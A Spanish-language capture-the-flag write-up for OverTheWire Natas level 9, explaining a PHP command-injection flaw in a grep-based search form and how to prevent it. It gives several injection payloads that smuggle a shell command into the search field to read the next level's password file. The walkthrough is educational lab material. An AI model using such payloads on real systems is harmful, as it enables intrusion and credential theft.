← Volver al listado de tecnologías
Natas Nivel 9 - Command Injection
Natas Nivel 9 - Command Injection
Objetivo
Un buscador que busca palabras en un diccionario. Hay un enlace a “View sourcecode”.
Análisis del Código
<?php
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
El Problema
passthru("grep -i $key dictionary.txt");
El input del usuario ($key) se inserta directamente en un comando del sistema sin sanitización.
Teoría: Command Injection
¿Qué es?
Ocurre cuando datos del usuario se ejecutan como comandos del sistema. Permite al atacante ejecutar cualquier comando con los privilegios del servidor web.
Metacaracteres del Shell
| Carácter | Función |
|---|---|
; | Separador de comandos |
| | Pipe (conecta comandos) |
& | Ejecutar en background |
&& | AND (ejecuta si anterior exitoso) |
|| | OR (ejecuta si anterior falla) |
$() | Sustitución de comando |
` | Sustitución de comando (legacy) |
Solución
Payload Básico
; cat /etc/natas_webpass/natas10 ;
Esto ejecuta:
grep -i ; cat /etc/natas_webpass/natas10 ; dictionary.txt
Que se interpreta como:
grep -i(error, incompleto)cat /etc/natas_webpass/natas10(¡nuestro comando!)dictionary.txt(error, no es comando)
Otros Payloads
# Con pipe
| cat /etc/natas_webpass/natas10
# Todo el archivo
. /etc/natas_webpass/natas10
# Usando grep mismo
-v "" /etc/natas_webpass/natas10
El último usa grep para buscar líneas que no contengan "" (vacío) en el archivo de contraseñas, mostrando todo.
Funciones Peligrosas en PHP
| Función | Descripción |
|---|---|
system() | Ejecuta comando, muestra output |
exec() | Ejecuta comando, retorna output |
passthru() | Ejecuta comando, output raw |
shell_exec() | Ejecuta via shell |
`comando` | Backticks, ejecuta comando |
popen() | Abre proceso como pipe |
proc_open() | Control avanzado de procesos |
Prevención
Escapar Input
$key = escapeshellarg($_REQUEST["needle"]);
passthru("grep -i $key dictionary.txt");
Validar Input
if (preg_match('/^[a-zA-Z]+$/', $key)) {
passthru("grep -i $key dictionary.txt");
}
Evitar Comandos del Sistema
Usar funciones nativas de PHP en lugar de comandos shell.
Conceptos Aprendidos
| Concepto | Descripción |
|---|---|
| Command injection | Inyección de comandos |
| Shell metacharacters | Caracteres especiales |
| passthru/system | Funciones peligrosas |
| Input sanitization | Limpieza de entrada |
Siguiente Nivel
- URL: http://natas10.natas.labs.overthewire.org
- Usuario: natas10